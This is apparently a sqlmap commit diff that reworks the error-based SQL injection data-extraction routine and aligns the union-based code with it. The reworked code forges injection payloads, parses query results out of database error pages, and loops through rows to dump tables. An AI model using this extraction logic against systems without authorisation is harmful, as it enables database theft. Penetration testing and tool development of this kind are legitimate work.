Major bug fix to properly process custom queries (--sql-query/--sql-shell) when technique in use is error-based.

Alignment of SQL statement payload packing/unpacking between all of the techniques.
Minor bug fix to use the proper charset (2, numbers) when dealing with COUNT() in custom queries too.
Minor code cleanup.

lib/techniques/error/use.py

@@ -11,10 +11,12 @@ import re
 import time
 
 from lib.core.agent import agent
-from lib.core.common import dataToStdout
+from lib.core.common import calculateDeltaSeconds
+from lib.core.common import dataToSessionFile
 from lib.core.common import extractRegexResult
 from lib.core.common import getIdentifiedDBMS
 from lib.core.common import initTechnique
+from lib.core.common import isNumPosStrValue
 from lib.core.common import randomInt
 from lib.core.common import replaceNewlineTabs
 from lib.core.common import safeStringFormat
@@ -23,41 +25,249 @@ from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.enums import DBMS
+from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
+from lib.core.settings import FROM_TABLE
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
+from lib.utils.resume import resume
 
-def errorUse(expression):
-    """
-    Retrieve the output of a SQL query taking advantage of an error SQL
-    injection vulnerability on the affected parameter.
-    """
+reqCount = 0
 
-    initTechnique(PAYLOAD.TECHNIQUE.ERROR)
+def __oneShotErrorUse(expression, field):
+    global reqCount
 
-    output = None
+    check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
+    nulledCastedField = agent.nullAndCastField(field)
+
+    if getIdentifiedDBMS() == DBMS.MYSQL:
+        # Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
+        nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")
+
+    # Forge the error-based SQL injection request
     vector = agent.cleanupPayload(kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector)
     query = unescaper.unescape(vector)
     query = agent.prefixQuery(query)
     query = agent.suffixQuery(query)
-    check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
+    injExpression = expression.replace(field, nulledCastedField, 1)
+    injExpression = unescaper.unescape(injExpression)
+    injExpression = query.replace("[QUERY]", injExpression)
+    payload = agent.payload(newValue=injExpression)
 
-    _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
-    nulledCastedField = agent.nullAndCastField(fieldToCastStr)
-
-    if getIdentifiedDBMS() == DBMS.MYSQL:
-        nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'
-
-    expression = expression.replace(fieldToCastStr, nulledCastedField, 1)
-    expression = unescaper.unescape(expression)
-    expression = query.replace("[QUERY]", expression)
-
-    payload = agent.payload(newValue=expression)
+    # Perform the request
     page, _ = Request.queryPage(payload, content=True)
+    reqCount += 1
+
+    # Parse the returned page to get the exact error-based
+    # sql injection output
     output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
 
-    if output:
-        output = output.replace(kb.misc.space, " ")
-        dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True)))
+    dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(output)))
 
     return output
+
+def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
+    outputs = []
+    origExpr = None
+
+    for field in expressionFieldsList:
+        output = None
+
+        if field.startswith("ROWNUM "):
+            continue
+
+        if isinstance(num, int):
+            origExpr = expression
+            expression = agent.limitQuery(num, expression, field)
+
+        if "ROWNUM" in expressionFieldsList:
+            expressionReplaced = expression
+        else:
+            expressionReplaced = expression.replace(expressionFields, field, 1)
+
+        if resumeValue:
+            output = resume(expressionReplaced, None)
+
+        if not output or (expected == EXPECTED.INT and not output.isdigit()):
+            if output:
+                warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
+                warnMsg += "sqlmap is going to retrieve the value again"
+                logger.warn(warnMsg)
+
+            output = __oneShotErrorUse(expressionReplaced, field)
+            logger.info("retrieved: %s" % output)
+
+        if isinstance(num, int):
+            expression = origExpr
+
+        if output:
+            output = output.replace(kb.misc.space, " ")
+            outputs.append(output)
+
+    return outputs
+
+def errorUse(expression, expected=None, resumeValue=True, dump=False):
+    """
+    Retrieve the output of a SQL query taking advantage of the error-based
+    SQL injection vulnerability on the affected parameter.
+    """
+
+    initTechnique(PAYLOAD.TECHNIQUE.ERROR)
+
+    count = None
+    start = time.time()
+    startLimit = 0
+    stopLimit = None
+    outputs = []
+    test = None
+    untilLimitChar = None
+    untilOrderChar = None
+
+    global reqCount
+
+    reqCount = 0
+
+    if resumeValue:
+        output = resume(expression, None)
+    else:
+        output = None
+
+    if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
+        return output
+
+    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
+
+    # We have to check if the SQL query might return multiple entries
+    # and in such case forge the SQL limiting the query output one
+    # entry per time
+    # NOTE: I assume that only queries that get data from a table can
+    # return multiple entries
+    if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
+        limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
+        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
+
+        if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
+            if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
+                limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
+                limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
+
+                if limitGroupStart.isdigit():
+                    startLimit = int(limitRegExp.group(int(limitGroupStart)))
+
+                stopLimit = limitRegExp.group(int(limitGroupStop))
+                limitCond = int(stopLimit) > 1
+
+            elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
+                if limitRegExp:
+                    limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
+                    limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
+
+                    if limitGroupStart.isdigit():
+                        startLimit = int(limitRegExp.group(int(limitGroupStart)))
+
+                    stopLimit = limitRegExp.group(int(limitGroupStop))
+                    limitCond = int(stopLimit) > 1
+                elif topLimit:
+                    startLimit = 0
+                    stopLimit = int(topLimit.group(1))
+                    limitCond = int(stopLimit) > 1
+
+            elif getIdentifiedDBMS() == DBMS.ORACLE:
+                limitCond = False
+        else:
+            limitCond = True
+
+        # I assume that only queries NOT containing a "LIMIT #, 1"
+        # (or similar depending on the back-end DBMS) can return
+        # multiple entries
+        if limitCond:
+            if limitRegExp:
+                stopLimit = int(stopLimit)
+
+                # From now on we need only the expression until the " LIMIT "
+                # (or similar, depending on the back-end DBMS) word
+                if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
+                    stopLimit += startLimit
+                    untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
+                    expression = expression[:untilLimitChar]
+
+                elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
+                    stopLimit += startLimit
+            elif dump:
+                if conf.limitStart:
+                    startLimit = conf.limitStart
+                if conf.limitStop:
+                    stopLimit = conf.limitStop
+
+            if not stopLimit or stopLimit <= 1:
+                if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
+                    test = False
+                else:
+                    test = True
+
+            if test:
+                # Count the number of SQL query entries output
+                countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
+                countedExpression = expression.replace(expressionFields, countFirstField, 1)
+
+                if re.search(" ORDER BY ", expression, re.I):
+                    untilOrderChar = countedExpression.index(" ORDER BY ")
+                    countedExpression = countedExpression[:untilOrderChar]
+
+                if resumeValue:
+                    count = resume(countedExpression, None)
+
+                if not stopLimit:
+                    if not count or not count.isdigit():
+                        count = __oneShotErrorUse(countedExpression, expressionFields)
+
+                    if isNumPosStrValue(count):
+                        stopLimit = int(count)
+
+                        infoMsg = "the SQL query used returns "
+                        infoMsg += "%d entries" % stopLimit
+                        logger.info(infoMsg)
+
+                    elif count and not count.isdigit():
+                        warnMsg = "it was not possible to count the number "
+                        warnMsg += "of entries for the used SQL query. "
+                        warnMsg += "sqlmap will assume that it returns only "
+                        warnMsg += "one entry"
+                        logger.warn(warnMsg)
+
+                        stopLimit = 1
+
+                    elif (not count or int(count) == 0):
+                        warnMsg = "the SQL query used does not "
+                        warnMsg += "return any output"
+                        logger.warn(warnMsg)
+
+                        return None
+
+                elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
+                    warnMsg = "the SQL query used does not "
+                    warnMsg += "return any output"
+                    logger.warn(warnMsg)
+
+                    return None
+
+                try:
+                    for num in xrange(startLimit, stopLimit):
+                        output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)
+                        outputs.append(output)
+
+                except KeyboardInterrupt:
+                    print
+                    warnMsg = "Ctrl+C detected in dumping phase"
+                    logger.warn(warnMsg)
+
+                duration = calculateDeltaSeconds(start)
+
+                debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
+                logger.debug(debugMsg)
+
+                return outputs
+    else:
+        return __oneShotErrorUse(expression, expressionFields)
+
+    return outputs

lib/techniques/inband/union/test.py

@@ -22,7 +22,7 @@ from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.enums import DBMS
 from lib.core.enums import PAYLOAD
-from lib.core.settings import INBAND_FROM_TABLE
+from lib.core.settings import FROM_TABLE
 from lib.core.unescaper import unescaper
 from lib.parse.html import htmlParser
 from lib.request.connect import Connect as Request
@@ -98,14 +98,14 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix
     query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
 
     for count in range(conf.uColsStart, conf.uColsStop+1):
-        if getIdentifiedDBMS() in INBAND_FROM_TABLE and query.endswith(INBAND_FROM_TABLE[getIdentifiedDBMS()]):
-            query = query[:-len(INBAND_FROM_TABLE[getIdentifiedDBMS()])]
+        if getIdentifiedDBMS() in FROM_TABLE and query.endswith(FROM_TABLE[getIdentifiedDBMS()]):
+            query = query[:-len(FROM_TABLE[getIdentifiedDBMS()])]
 
         if count:
             query += ", %s" % conf.uChar
 
-        if getIdentifiedDBMS() in INBAND_FROM_TABLE:
-            query += INBAND_FROM_TABLE[getIdentifiedDBMS()]
+        if getIdentifiedDBMS() in FROM_TABLE:
+            query += FROM_TABLE[getIdentifiedDBMS()]
 
         status = "%d/%d" % (count, conf.uColsStop)
         debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop))

lib/techniques/inband/union/use.py

@@ -17,6 +17,7 @@ from lib.core.common import dataToStdout
 from lib.core.common import getIdentifiedDBMS
 from lib.core.common import getUnicode
 from lib.core.common import initTechnique
+from lib.core.common import isNumPosStrValue
 from lib.core.common import parseUnionPage
 from lib.core.data import conf
 from lib.core.data import kb
@@ -25,7 +26,7 @@ from lib.core.data import queries
 from lib.core.enums import DBMS
 from lib.core.enums import PAYLOAD
 from lib.core.exception import sqlmapSyntaxException
-from lib.core.settings import INBAND_FROM_TABLE
+from lib.core.settings import FROM_TABLE
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.utils.resume import resume
@@ -76,13 +77,13 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
 
     initTechnique(PAYLOAD.TECHNIQUE.UNION)
 
-    count      = None
-    origExpr   = expression
-    start      = time.time()
+    count = None
+    origExpr = expression
+    start = time.time()
     startLimit = 0
-    stopLimit  = None
-    test       = True
-    value      = ""
+    stopLimit = None
+    test = True
+    value = ""
 
     global reqCount
 
@@ -102,13 +103,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
         # entry per time
         # NOTE: I assume that only queries that get data from a table can
         # return multiple entries
-        if " FROM " in expression.upper() and " FROM DUAL" not in expression.upper() and "EXISTS(" not in expression.upper():
+        if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
             limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
+            topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
 
-            if limitRegExp:
-                if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
+            if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
+                if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
                     limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
-                    limitGroupStop  = queries[getIdentifiedDBMS()].limitgroupstop.query
+                    limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
 
                     if limitGroupStart.isdigit():
                         startLimit = int(limitRegExp.group(int(limitGroupStart)))
@@ -117,14 +119,19 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
                     limitCond = int(stopLimit) > 1
 
                 elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
-                    limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
-                    limitGroupStop  = queries[getIdentifiedDBMS()].limitgroupstop.query
+                    if limitRegExp:
+                        limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
+                        limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
 
-                    if limitGroupStart.isdigit():
-                        startLimit = int(limitRegExp.group(int(limitGroupStart)))
+                        if limitGroupStart.isdigit():
+                            startLimit = int(limitRegExp.group(int(limitGroupStart)))
 
-                    stopLimit = limitRegExp.group(int(limitGroupStop))
-                    limitCond = int(stopLimit) > 1
+                        stopLimit = limitRegExp.group(int(limitGroupStop))
+                        limitCond = int(stopLimit) > 1
+                    elif topLimit:
+                        startLimit = 0
+                        stopLimit = int(topLimit.group(1))
+                        limitCond = int(stopLimit) > 1
 
                 elif getIdentifiedDBMS() == DBMS.ORACLE:
                     limitCond = False
@@ -140,7 +147,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
 
                     # From now on we need only the expression until the " LIMIT "
                     # (or similar, depending on the back-end DBMS) word
-                    if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
+                    if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
                         stopLimit += startLimit
                         untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
                         expression = expression[:untilLimitChar]
@@ -154,14 +161,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
                         stopLimit = conf.limitStop
 
                 if not stopLimit or stopLimit <= 1:
-                    if getIdentifiedDBMS() in INBAND_FROM_TABLE and expression.endswith(INBAND_FROM_TABLE[getIdentifiedDBMS()]):
+                    if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
                         test = False
                     else:
                         test = True
 
                 if test:
                     # Count the number of SQL query entries output
-                    countFirstField   = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
+                    countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
                     countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
 
                     if re.search(" ORDER BY ", expression, re.I):
@@ -177,15 +184,15 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
                             if output:
                                 count = parseUnionPage(output, countedExpression)
 
-                        if count and count.isdigit() and int(count) > 0:
+                        if isNumPosStrValue(count):
                             stopLimit = int(count)
 
-                            infoMsg  = "the SQL query used returns "
+                            infoMsg = "the SQL query used returns "
                             infoMsg += "%d entries" % stopLimit
                             logger.info(infoMsg)
 
                         elif count and not count.isdigit():
-                            warnMsg  = "it was not possible to count the number "
+                            warnMsg = "it was not possible to count the number "
                             warnMsg += "of entries for the used SQL query. "
                             warnMsg += "sqlmap will assume that it returns only "
                             warnMsg += "one entry"
@@ -193,44 +200,44 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
 
                             stopLimit = 1
 
-                        elif ( not count or int(count) == 0 ):
-                            warnMsg  = "the SQL query used does not "
+                        elif (not count or int(count) == 0):
+                            warnMsg = "the SQL query used does not "
                             warnMsg += "return any output"
                             logger.warn(warnMsg)
 
-                            return
+                            return None
 
-                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
-                        warnMsg  = "the SQL query used does not "
+                    elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
+                        warnMsg = "the SQL query used does not "
                         warnMsg += "return any output"
                         logger.warn(warnMsg)
 
-                        return
+                        return None
 
                     try:
                         for num in xrange(startLimit, stopLimit):
-                                if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
-                                    field = expressionFieldsList[0]
-                                elif getIdentifiedDBMS() == DBMS.ORACLE:
-                                    field = expressionFieldsList
-                                else:
-                                    field = None
+                            if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
+                                field = expressionFieldsList[0]
+                            elif getIdentifiedDBMS() == DBMS.ORACLE:
+                                field = expressionFieldsList
+                            else:
+                                field = None
 
-                                limitedExpr = agent.limitQuery(num, expression, field)
-                                output = resume(limitedExpr, None)
+                            limitedExpr = agent.limitQuery(num, expression, field)
+                            output = resume(limitedExpr, None)
 
-                                if not output:
-                                    output = unionUse(limitedExpr, direct=True, unescape=False)
+                            if not output:
+                                output = unionUse(limitedExpr, direct=True, unescape=False)
 
-                                if output:
-                                    value += output
-                                    parseUnionPage(output, limitedExpr)
+                            if output:
+                                value += output
+                                parseUnionPage(output, limitedExpr)
 
-                                if conf.verbose in (1, 2):
-                                    length = stopLimit - startLimit
-                                    count = num - startLimit + 1
-                                    status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
-                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True)
+                            if conf.verbose in (1, 2):
+                                length = stopLimit - startLimit
+                                count = num - startLimit + 1
+                                status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
+                                dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True)
 
                         dataToStdout("\n")